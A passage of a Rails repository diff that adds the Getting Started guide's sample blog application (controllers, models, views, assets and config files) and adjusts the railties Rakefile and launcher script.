+Source code can be downloaded as part of the Rails project on GitHub
+* https://github.com/rails/rails/tree/master/railties
== License
Railties is released under the MIT license.
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
diff --git a/railties/Rakefile b/railties/Rakefile
index be9a77d4e4..25e515e016 100755
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -17,8 +17,13 @@ namespace :test do
dir = ENV["TEST_DIR"] || "**"
Dir["test/#{dir}/*_test.rb"].each do |file|
next true if file.include?("fixtures")
- ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
- sh(ruby, '-Itest', "-I#{File.dirname(__FILE__)}/../activesupport/lib", file)
+ dash_i = [
+ 'test',
+ 'lib',
+ "#{File.dirname(__FILE__)}/../activesupport/lib",
+ "#{File.dirname(__FILE__)}/../actionpack/lib"
+ ]
+ ruby "-I#{dash_i.join ':'}", file
end
end
end
diff --git a/railties/bin/rails b/railties/bin/rails
index a7d6938e0d..a1c4faaa73 100755
--- a/railties/bin/rails
+++ b/railties/bin/rails
@@ -1,2 +1,7 @@
#!/usr/bin/env ruby
-require "rails/cli" \ No newline at end of file
+
+if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
+ railties_path = File.expand_path('../../lib', __FILE__)
+ $:.unshift(railties_path)
+end
+require "rails/cli"
diff --git a/railties/guides/assets/images/i18n/demo_html_safe.png b/railties/guides/assets/images/i18n/demo_html_safe.png
new file mode 100644
index 0000000000..f881f60dac
--- /dev/null
+++ b/railties/guides/assets/images/i18n/demo_html_safe.png
Binary files differ
diff --git a/railties/guides/code/getting_started/Gemfile b/railties/guides/code/getting_started/Gemfile
new file mode 100644
index 0000000000..898510dcaa
--- /dev/null
+++ b/railties/guides/code/getting_started/Gemfile
@@ -0,0 +1,27 @@
+source 'http://rubygems.org'
+
+gem 'rails', '3.1.0'
+# Bundle edge Rails instead:
+# gem 'rails', :git => 'git://github.com/rails/rails.git'
+
+gem 'sqlite3'
+
+
+# Gems used only for assets and not required
+# in production environments by default.
+group :assets do
+ gem 'sass-rails', " ~> 3.1.0"
+ gem 'coffee-rails', "~> 3.1.0"
+ gem 'uglifier'
+end
+
+gem 'jquery-rails'
+
+# Use unicorn as the web server
+# gem 'unicorn'
+
+# Deploy with Capistrano
+# gem 'capistrano'
+
+# To use debugger
+# gem 'ruby-debug19', :require => 'ruby-debug'
diff --git a/railties/guides/code/getting_started/README b/railties/guides/code/getting_started/README
new file mode 100644
index 0000000000..7c36f2356e
--- /dev/null
+++ b/railties/guides/code/getting_started/README
@@ -0,0 +1,261 @@
+== Welcome to Rails
+
+Rails is a web-application framework that includes everything needed to create
+database-backed web applications according to the Model-View-Control pattern.
+
+This pattern splits the view (also called the presentation) into "dumb"
+templates that are primarily responsible for inserting pre-built data in between
+HTML tags. The model contains the "smart" domain objects (such as Account,
+Product, Person, Post) that holds all the business logic and knows how to
+persist themselves to a database. The controller handles the incoming requests
+(such as Save New Account, Update Product, Show Post) by manipulating the model
+and directing data to the view.
+
+In Rails, the model is handled by what's called an object-relational mapping
+layer entitled Active Record. This layer allows you to present the data from
+database rows as objects and embellish these data objects with business logic
+methods. You can read more about Active Record in
+link:files/vendor/rails/activerecord/README.html.
+
+The controller and view are handled by the Action Pack, which handles both
+layers by its two parts: Action View and Action Controller. These two layers
+are bundled in a single package due to their heavy interdependence. This is
+unlike the relationship between the Active Record and Action Pack that is much
+more separate. Each of these packages can be used independently outside of
+Rails. You can read more about Action Pack in
+link:files/vendor/rails/actionpack/README.html.
+
+
+== Getting Started
+
+1. At the command prompt, create a new Rails application:
+ <tt>rails new myapp</tt> (where <tt>myapp</tt> is the application name)
+
+2. Change directory to <tt>myapp</tt> and start the web server:
+ <tt>cd myapp; rails server</tt> (run with --help for options)
+
+3. Go to http://localhost:3000/ and you'll see:
+ "Welcome aboard: You're riding Ruby on Rails!"
+
+4. Follow the guidelines to start developing your application. You can find
+the following resources handy:
+
+* The Getting Started Guide: http://guides.rubyonrails.org/getting_started.html
+* Ruby on Rails Tutorial Book: http://www.railstutorial.org/
+
+
+== Debugging Rails
+
+Sometimes your application goes wrong. Fortunately there are a lot of tools that
+will help you debug it and get it back on the rails.
+
+First area to check is the application log files. Have "tail -f" commands
+running on the server.log and development.log. Rails will automatically display
+debugging and runtime information to these files. Debugging info will also be
+shown in the browser on requests from 127.0.0.1.
+
+You can also log your own messages directly into the log file from your code
+using the Ruby logger class from inside your controllers. Example:
+
+ class WeblogController < ActionController::Base
+ def destroy
+ @weblog = Weblog.find(params[:id])
+ @weblog.destroy
+ logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!")
+ end
+ end
+
+The result will be a message in your log file along the lines of:
+
+ Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1!
+
+More information on how to use the logger is at http://www.ruby-doc.org/core/
+
+Also, Ruby documentation can be found at http://www.ruby-lang.org/. There are
+several books available online as well:
+
+* Programming Ruby: http://www.ruby-doc.org/docs/ProgrammingRuby/ (Pickaxe)
+* Learn to Program: http://pine.fm/LearnToProgram/ (a beginners guide)
+
+These two books will bring you up to speed on the Ruby language and also on
+programming in general.
+
+
+== Debugger
+
+Debugger support is available through the debugger command when you start your
+Mongrel or WEBrick server with --debugger. This means that you can break out of
+execution at any point in the code, investigate and change the model, and then,
+resume execution! You need to install ruby-debug to run the server in debugging
+mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example:
+
+ class WeblogController < ActionController::Base
+ def index
+ @posts = Post.all
+ debugger
+ end
+ end
+
+So the controller will accept the action, run the first line, then present you
+with a IRB prompt in the server window. Here you can do things like:
+
+ >> @posts.inspect
+ => "[#<Post:0x14a6be8
+ @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>,
+ #<Post:0x14a6620
+ @attributes={"title"=>"Rails", "body"=>"Only ten..", "id"=>"2"}>]"
+ >> @posts.first.title = "hello from a debugger"
+ => "hello from a debugger"
+
+...and even better, you can examine how your runtime objects actually work:
+
+ >> f = @posts.first
+ => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
+ >> f.
+ Display all 152 possibilities? (y or n)
+
+Finally, when you're ready to resume execution, you can enter "cont".
+
+
+== Console
+
+The console is a Ruby shell, which allows you to interact with your
+application's domain model. Here you'll have all parts of the application
+configured, just like it is when the application is running. You can inspect
+domain models, change values, and save to the database. Starting the script
+without arguments will launch it in the development environment.
+
+To start the console, run <tt>rails console</tt> from the application
+directory.
+
+Options:
+
+* Passing the <tt>-s, --sandbox</tt> argument will rollback any modifications
+ made to the database.
+* Passing an environment name as an argument will load the corresponding
+ environment. Example: <tt>rails console production</tt>.
+
+To reload your controllers and models after launching the console run
+<tt>reload!</tt>
+
+More information about irb can be found at:
+link:http://www.rubycentral.org/pickaxe/irb.html
+
+
+== dbconsole
+
+You can go to the command line of your database directly through <tt>rails
+dbconsole</tt>. You would be connected to the database with the credentials
+defined in database.yml. Starting the script without arguments will connect you
+to the development database. Passing an argument will connect you to a different
+database, like <tt>rails dbconsole production</tt>. Currently works for MySQL,
+PostgreSQL and SQLite 3.
+
+== Description of Contents
+
+The default directory structure of a generated Ruby on Rails application:
+
+ |-- app
+ | |-- assets
+ | |-- images
+ | |-- javascripts
+ | `-- stylesheets
+ | |-- controllers
+ | |-- helpers
+ | |-- mailers
+ | |-- models
+ | `-- views
+ | `-- layouts
+ |-- config
+ | |-- environments
+ | |-- initializers
+ | `-- locales
+ |-- db
+ |-- doc
+ |-- lib
+ | `-- tasks
+ |-- log
+ |-- public
+ |-- script
+ |-- test
+ | |-- fixtures
+ | |-- functional
+ | |-- integration
+ | |-- performance
+ | `-- unit
+ |-- tmp
+ | |-- cache
+ | |-- pids
+ | |-- sessions
+ | `-- sockets
+ `-- vendor
+ |-- assets
+ `-- stylesheets
+ `-- plugins
+
+app
+ Holds all the code that's specific to this particular application.
+
+app/assets
+ Contains subdirectories for images, stylesheets, and JavaScript files.
+
+app/controllers
+ Holds controllers that should be named like weblogs_controller.rb for
+ automated URL mapping. All controllers should descend from
+ ApplicationController which itself descends from ActionController::Base.
+
+app/models
+ Holds models that should be named like post.rb. Models descend from
+ ActiveRecord::Base by default.
+
+app/views
+ Holds the template files for the view that should be named like
+ weblogs/index.html.erb for the WeblogsController#index action. All views use
+ eRuby syntax by default.
+
+app/views/layouts
+ Holds the template files for layouts to be used with views. This models the
+ common header/footer method of wrapping views. In your views, define a layout
+ using the <tt>layout :default</tt> and create a file named default.html.erb.
+ Inside default.html.erb, call <% yield %> to render the view using this
+ layout.
+
+app/helpers
+ Holds view helpers that should be named like weblogs_helper.rb. These are
+ generated for you automatically when using generators for controllers.
+ Helpers can be used to wrap functionality for your views into methods.
+
+config
+ Configuration files for the Rails environment, the routing map, the database,
+ and other dependencies.
+
+db
+ Contains the database schema in schema.rb. db/migrate contains all the
+ sequence of Migrations for your schema.
+
+doc
+ This directory is where your application documentation will be stored when
+ generated using <tt>rake doc:app</tt>
+
+lib
+ Application specific libraries. Basically, any kind of custom code that
+ doesn't belong under controllers, models, or helpers. This directory is in
+ the load path.
+
+public
+ The directory available for the web server. Also contains the dispatchers and the
+ default HTML files. This should be set as the DOCUMENT_ROOT of your web
+ server.
+
+script
+ Helper scripts for automation and generation.
+
+test
+ Unit and functional tests along with fixtures. When using the rails generate
+ command, template test files will be generated for you and placed in this
+ directory.
+
+vendor
+ External libraries that the application depends on. Also includes the plugins
+ subdirectory. If the app has frozen rails, those gems also go here, under
+ vendor/rails/. This directory is in the load path.
diff --git a/railties/guides/code/getting_started/Rakefile b/railties/guides/code/getting_started/Rakefile
new file mode 100644
index 0000000000..e1d1ec8615
--- /dev/null
+++ b/railties/guides/code/getting_started/Rakefile
@@ -0,0 +1,7 @@
+#!/usr/bin/env rake
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require File.expand_path('../config/application', __FILE__)
+
+Blog::Application.load_tasks
diff --git a/railties/guides/code/getting_started/app/assets/images/rails.png b/railties/guides/code/getting_started/app/assets/images/rails.png
new file mode 100644
index 0000000000..d5edc04e65
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/images/rails.png
Binary files differ
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/application.js b/railties/guides/code/getting_started/app/assets/javascripts/application.js
new file mode 100644
index 0000000000..37c7bfcdb5
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/javascripts/application.js
@@ -0,0 +1,9 @@
+// This is a manifest file that'll be compiled into including all the files listed below.
+// Add new JavaScript/Coffee code in separate files in this directory and they'll automatically
+// be included in the compiled file accessible from http://example.com/assets/application.js
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// the compiled file.
+//
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
new file mode 100644
index 0000000000..761567942f
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee
new file mode 100644
index 0000000000..761567942f
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
new file mode 100644
index 0000000000..761567942f
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://jashkenas.github.com/coffee-script/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/application.css b/railties/guides/code/getting_started/app/assets/stylesheets/application.css
new file mode 100644
index 0000000000..fc25b5723f
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/stylesheets/application.css
@@ -0,0 +1,7 @@
+/*
+ * This is a manifest file that'll automatically include all the stylesheets available in this directory
+ * and any sub-directories. You're free to add application-wide styles to this file and they'll appear at
+ * the top of the compiled file, but it's generally better to create a new file per style scope.
+ *= require_self
+ *= require_tree .
+*/ \ No newline at end of file
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
new file mode 100644
index 0000000000..e730912783
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the Comments controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss
new file mode 100644
index 0000000000..f0ddc6846a
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the home controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
new file mode 100644
index 0000000000..ed4dfd10f2
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the Posts controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss
new file mode 100644
index 0000000000..05188f08ed
--- /dev/null
+++ b/railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss
@@ -0,0 +1,56 @@
+body {
+ background-color: #fff;
+ color: #333;
+ font-family: verdana, arial, helvetica, sans-serif;
+ font-size: 13px;
+ line-height: 18px; }
+
+p, ol, ul, td {
+ font-family: verdana, arial, helvetica, sans-serif;
+ font-size: 13px;
+ line-height: 18px; }
+
+pre {
+ background-color: #eee;
+ padding: 10px;
+ font-size: 11px; }
+
+a {
+ color: #000;
+ &:visited {
+ color: #666; }
+ &:hover {
+ color: #fff;
+ background-color: #000; } }
+
+div {
+ &.field, &.actions {
+ margin-bottom: 10px; } }
+
+#notice {
+ color: green; }
+
+.field_with_errors {
+ padding: 2px;
+ background-color: red;
+ display: table; }
+
+#error_explanation {
+ width: 450px;
+ border: 2px solid red;
+ padding: 7px;
+ padding-bottom: 0;
+ margin-bottom: 20px;
+ background-color: #f0f0f0;
+ h2 {
+ text-align: left;
+ font-weight: bold;
+ padding: 5px 5px 5px 15px;
+ font-size: 12px;
+ margin: -7px;
+ margin-bottom: 0px;
+ background-color: #c00;
+ color: #fff; }
+ ul li {
+ font-size: 12px;
+ list-style: square; } }
diff --git a/railties/guides/code/getting_started/app/controllers/application_controller.rb b/railties/guides/code/getting_started/app/controllers/application_controller.rb
new file mode 100644
index 0000000000..e8065d9505
--- /dev/null
+++ b/railties/guides/code/getting_started/app/controllers/application_controller.rb
@@ -0,0 +1,3 @@
+class ApplicationController < ActionController::Base
+ protect_from_forgery
+end
diff --git a/railties/guides/code/getting_started/app/controllers/comments_controller.rb b/railties/guides/code/getting_started/app/controllers/comments_controller.rb
new file mode 100644
index 0000000000..7447fd078b
--- /dev/null
+++ b/railties/guides/code/getting_started/app/controllers/comments_controller.rb
@@ -0,0 +1,16 @@
+class CommentsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :only => :destroy
+ def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment])
+ redirect_to post_path(@post)
+ end
+
+ def destroy
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.find(params[:id])
+ @comment.destroy
+ redirect_to post_path(@post)
+ end
+
+end
diff --git a/railties/guides/code/getting_started/app/controllers/home_controller.rb b/railties/guides/code/getting_started/app/controllers/home_controller.rb
new file mode 100644
index 0000000000..6cc31c1ca3
--- /dev/null
+++ b/railties/guides/code/getting_started/app/controllers/home_controller.rb
@@ -0,0 +1,5 @@
+class HomeController < ApplicationController
+ def index
+ end
+
+end
diff --git a/railties/guides/code/getting_started/app/controllers/posts_controller.rb b/railties/guides/code/getting_started/app/controllers/posts_controller.rb
new file mode 100644
index 0000000000..1581d4eb16
--- /dev/null
+++ b/railties/guides/code/getting_started/app/controllers/posts_controller.rb
@@ -0,0 +1,84 @@
+class PostsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+ # GET /posts
+ # GET /posts.json
+ def index
+ @posts = Post.all
+
+ respond_to do |format|
+ format.html # index.html.erb
+ format.json { render json: @posts }
+ end
+ end
+
+ # GET /posts/1
+ # GET /posts/1.json
+ def show
+ @post = Post.find(params[:id])
+
+ respond_to do |format|
+ format.html # show.html.erb
+ format.json { render json: @post }
+ end
+ end
+
+ # GET /posts/new
+ # GET /posts/new.json
+ def new
+ @post = Post.new
+
+ respond_to do |format|
+ format.html # new.html.erb
+ format.json { render json: @post }
+ end
+ end
+
+ # GET /posts/1/edit
+ def edit
+ @post = Post.find(params[:id])
+ end
+
+ # POST /posts
+ # POST /posts.json
+ def create
+ @post = Post.new(params[:post])
+
+ respond_to do |format|
+ if @post.save
+ format.html { redirect_to @post, notice: 'Post was successfully created.' }
+ format.json { render json: @post, status: :created, location: @post }
+ else
+ format.html { render action: "new" }
+ format.json { render json: @post.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+
+ # PUT /posts/1
+ # PUT /posts/1.json
+ def update
+ @post = Post.find(params[:id])
+
+ respond_to do |format|
+ if @post.update_attributes(params[:post])
+ format.html { redirect_to @post, notice: 'Post was successfully updated.' }
+ format.json { head :no_content }
+ else
+ format.html { render action: "edit" }
+ format.json { render json: @post.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+
+ # DELETE /posts/1
+ # DELETE /posts/1.json
+ def destroy
+ @post = Post.find(params[:id])
+ @post.destroy
+
+ respond_to do |format|
+ format.html { redirect_to posts_url }
+ format.json { head :no_content }
+ end
+ end
+end
diff --git a/railties/guides/code/getting_started/app/helpers/application_helper.rb b/railties/guides/code/getting_started/app/helpers/application_helper.rb
new file mode 100644
index 0000000000..de6be7945c
--- /dev/null
+++ b/railties/guides/code/getting_started/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/railties/guides/code/getting_started/app/helpers/comments_helper.rb b/railties/guides/code/getting_started/app/helpers/comments_helper.rb
new file mode 100644
index 0000000000..0ec9ca5f2d
--- /dev/null
+++ b/railties/guides/code/getting_started/app/helpers/comments_helper.rb
@@ -0,0 +1,2 @@
+module CommentsHelper
+end
diff --git a/railties/guides/code/getting_started/app/helpers/home_helper.rb b/railties/guides/code/getting_started/app/helpers/home_helper.rb
new file mode 100644
index 0000000000..23de56ac60
--- /dev/null
+++ b/railties/guides/code/getting_started/app/helpers/home_helper.rb
@@ -0,0 +1,2 @@
+module HomeHelper
+end
diff --git a/railties/guides/code/getting_started/app/helpers/posts_helper.rb b/railties/guides/code/getting_started/app/helpers/posts_helper.rb
new file mode 100644
index 0000000000..b6e8e67894
--- /dev/null
+++ b/railties/guides/code/getting_started/app/helpers/posts_helper.rb
@@ -0,0 +1,5 @@
+module PostsHelper
+ def join_tags(post)
+ post.tags.map { |t| t.name }.join(", ")
+ end
+end
diff --git a/railties/guides/code/getting_started/app/mailers/.gitkeep b/railties/guides/code/getting_started/app/mailers/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/app/mailers/.gitkeep
diff --git a/railties/guides/code/getting_started/app/models/.gitkeep b/railties/guides/code/getting_started/app/models/.gitkeep
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/railties/guides/code/getting_started/app/models/.gitkeep
diff --git a/railties/guides/code/getting_started/app/models/comment.rb b/railties/guides/code/getting_started/app/models/comment.rb
new file mode 100644
index 0000000000..4e76c5b5b0
--- /dev/null
+++ b/railties/guides/code/getting_started/app/models/comment.rb
@@ -0,0 +1,3 @@
+class Comment < ActiveRecord::Base
+ belongs_to :post
+end
diff --git a/railties/guides/code/getting_started/app/models/post.rb b/railties/guides/code/getting_started/app/models/post.rb
new file mode 100644
index 0000000000..61c2b5ae44
--- /dev/null
+++ b/railties/guides/code/getting_started/app/models/post.rb
@@ -0,0 +1,11 @@
+class Post < ActiveRecord::Base
+ validates :name, :presence => true
+ validates :title, :presence => true,
+ :length => { :minimum => 5 }
+
+ has_many :comments, :dependent => :destroy
+ has_many :tags
+
+ accepts_nested_attributes_for :tags, :allow_destroy => :true,
+ :reject_if => proc { |attrs| attrs.all? { |k, v| v.blank? } }
+end
diff --git a/railties/guides/code/getting_started/app/models/tag.rb b/railties/guides/code/getting_started/app/models/tag.rb
new file mode 100644
index 0000000000..30992e8ba9
--- /dev/null
+++ b/railties/guides/code/getting_started/app/models/tag.rb
@@ -0,0 +1,3 @@
+class Tag < ActiveRecord::Base
+ belongs_to :post
+end
diff --git a/railties/guides/code/getting_started/app/views/comments/_comment.html.erb b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb
new file mode 100644
index 0000000000..4c3fbf26cd
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/comments/_comment.html.erb
@@ -0,0 +1,15 @@
+<p>
+ <b>Commenter:</b>
+ <%= comment.commenter %>
+</p>
+
+<p>
+ <b>Comment:</b>
+ <%= comment.body %>
+</p>
+
+<p>
+ <%= link_to 'Destroy Comment', [comment.post, comment],
+ :confirm => 'Are you sure?',
+ :method => :delete %>
+</p>
diff --git a/railties/guides/code/getting_started/app/views/comments/_form.html.erb b/railties/guides/code/getting_started/app/views/comments/_form.html.erb
new file mode 100644
index 0000000000..d15bdd6b59
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/comments/_form.html.erb
@@ -0,0 +1,13 @@
+<%= form_for([@post, @post.comments.build]) do |f| %>
+ <div class="field">
+ <%= f.label :commenter %><br />
+ <%= f.text_field :commenter %>
+ </div>
+ <div class="field">
+ <%= f.label :body %><br />
+ <%= f.text_area :body %>
+ </div>
+ <div class="actions">
+ <%= f.submit %>
+ </div>
+<% end %>
diff --git a/railties/guides/code/getting_started/app/views/home/index.html.erb b/railties/guides/code/getting_started/app/views/home/index.html.erb
new file mode 100644
index 0000000000..bb4f3dcd1f
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/home/index.html.erb
@@ -0,0 +1,2 @@
+<h1>Hello, Rails!</h1>
+<%= link_to "My Blog", posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/layouts/application.html.erb b/railties/guides/code/getting_started/app/views/layouts/application.html.erb
new file mode 100644
index 0000000000..7fd6b4f516
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/layouts/application.html.erb
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>Blog</title>
+ <%= stylesheet_link_tag "application", :media => "all" %>
+ <%= javascript_include_tag "application" %>
+ <%= csrf_meta_tags %>
+</head>
+<body style="background: #EEEEEE;">
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/railties/guides/code/getting_started/app/views/posts/_form.html.erb b/railties/guides/code/getting_started/app/views/posts/_form.html.erb
new file mode 100644
index 0000000000..e27da7f413
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/posts/_form.html.erb
@@ -0,0 +1,32 @@
+<% @post.tags.build %>
+<%= form_for(@post) do |post_form| %>
+ <% if @post.errors.any? %>
+ <div id="errorExplanation">
+ <h2><%= pluralize(@post.errors.count, "error") %> prohibited this post from being saved:</h2>
+ <ul>
+ <% @post.errors.full_messages.each do |msg| %>
+ <li><%= msg %></li>
+ <% end %>
+ </ul>
+ </div>
+ <% end %>
+
+ <div class="field">
+ <%= post_form.label :name %><br />
+ <%= post_form.text_field :name %>
+ </div>
+ <div class="field">
+ <%= post_form.label :title %><br />
+ <%= post_form.text_field :title %>
+ </div>
+ <div class="field">
+ <%= post_form.label :content %><br />
+ <%= post_form.text_area :content %>
+ </div>
+ <h2>Tags</h2>
+ <%= render :partial => 'tags/form',
+ :locals => {:form => post_form} %>
+ <div class="actions">
+ <%= post_form.submit %>
+ </div>
+<% end %>
diff --git a/railties/guides/code/getting_started/app/views/posts/edit.html.erb b/railties/guides/code/getting_started/app/views/posts/edit.html.erb
new file mode 100644
index 0000000000..720580236b
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/posts/edit.html.erb
@@ -0,0 +1,6 @@
+<h1>Editing post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Show', @post %> |
+<%= link_to 'Back', posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/index.html.erb b/railties/guides/code/getting_started/app/views/posts/index.html.erb
new file mode 100644
index 0000000000..45dee1b25f
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/posts/index.html.erb
@@ -0,0 +1,27 @@
+<h1>Listing posts</h1>
+
+<table>
+ <tr>
+ <th>Name</th>
+ <th>Title</th>
+ <th>Content</th>
+ <th></th>
+ <th></th>
+ <th></th>
+ </tr>
+
+<% @posts.each do |post| %>
+ <tr>
+ <td><%= post.name %></td>
+ <td><%= post.title %></td>
+ <td><%= post.content %></td>
+ <td><%= link_to 'Show', post %></td>
+ <td><%= link_to 'Edit', edit_post_path(post) %></td>
+ <td><%= link_to 'Destroy', post, confirm: 'Are you sure?', method: :delete %></td>
+ </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to 'New Post', new_post_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/new.html.erb b/railties/guides/code/getting_started/app/views/posts/new.html.erb
new file mode 100644
index 0000000000..36ad7421f9
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/posts/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New post</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', posts_path %>
diff --git a/railties/guides/code/getting_started/app/views/posts/show.html.erb b/railties/guides/code/getting_started/app/views/posts/show.html.erb
new file mode 100644
index 0000000000..da78a9527b
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/posts/show.html.erb
@@ -0,0 +1,31 @@
+<p class="notice"><%= notice %></p>
+
+<p>
+ <b>Name:</b>
+ <%= @post.name %>
+</p>
+
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+
+<p>
+ <b>Content:</b>
+ <%= @post.content %>
+</p>
+
+<p>
+ <b>Tags:</b>
+ <%= join_tags(@post) %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %> |
diff --git a/railties/guides/code/getting_started/app/views/tags/_form.html.erb b/railties/guides/code/getting_started/app/views/tags/_form.html.erb
new file mode 100644
index 0000000000..7e424b0e20
--- /dev/null
+++ b/railties/guides/code/getting_started/app/views/tags/_form.html.erb
@@ -0,0 +1,12 @@
+<%= form.fields_for :tags do |tag_form| %>
+ <div class="field">
+ <%= tag_form.label :name, 'Tag:' %>
+ <%= tag_form.text_field :name %>
+ </div>
+ <% unless tag_form.object.nil? || tag_form.object.new_record? %>
+ <div class="field">
+ <%= tag_form.label :_destroy, 'Remove:' %>
+ <%= tag_form.check_box :_destroy %>
+ </div>
+ <% end %>
+<% end %>
diff --git a/railties/guides/code/getting_started/config.ru b/railties/guides/code/getting_started/config.ru
new file mode 100644
index 0000000000..ddf869e921
--- /dev/null
+++ b/railties/guides/code/getting_started/config.ru
@@ -0,0 +1,4 @@
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run Blog::Application
diff --git a/railties/guides/code/getting_started/config/application.rb b/railties/guides/code/getting_started/config/application.rb
new file mode 100644
index 0000000000..e16da30f72
--- /dev/null
+++ b/railties/guides/code/getting_started/config/application.rb
@@ -0,0 +1,53 @@
+require File.expand_path('../boot', __FILE__)
+
+require 'rails/all'
+
+if defined?(Bundler)
+ # If you precompile assets before deploying to production, use this line
+ Bundler.require *Rails.groups(:assets => %w(development test))
+ # If you want your assets lazily compiled in production, use this line
+ # Bundler.require(:default, :assets, Rails.env)
+end
+
+module Blog
+ class Application < Rails::Application
+ # Settings in config/environments/* take precedence over those specified here.
+ # Application configuration should go into files in config/initializers
+ # -- all .rb files in that directory are automatically loaded.
+
+ # Custom directories with classes and modules you want to be autoloadable.
+ # config.autoload_paths += %W(#{config.root}/extras)
+
+ # Only load the plugins named here, in the order given (default is alphabetical).
+ # :all can be used as a placeholder for all plugins not explicitly named.
+ # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
+
+ # Activate observers that should always be running.
+ # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
+
+ # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+ # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
+ # config.time_zone = 'Central Time (US & Canada)'
+
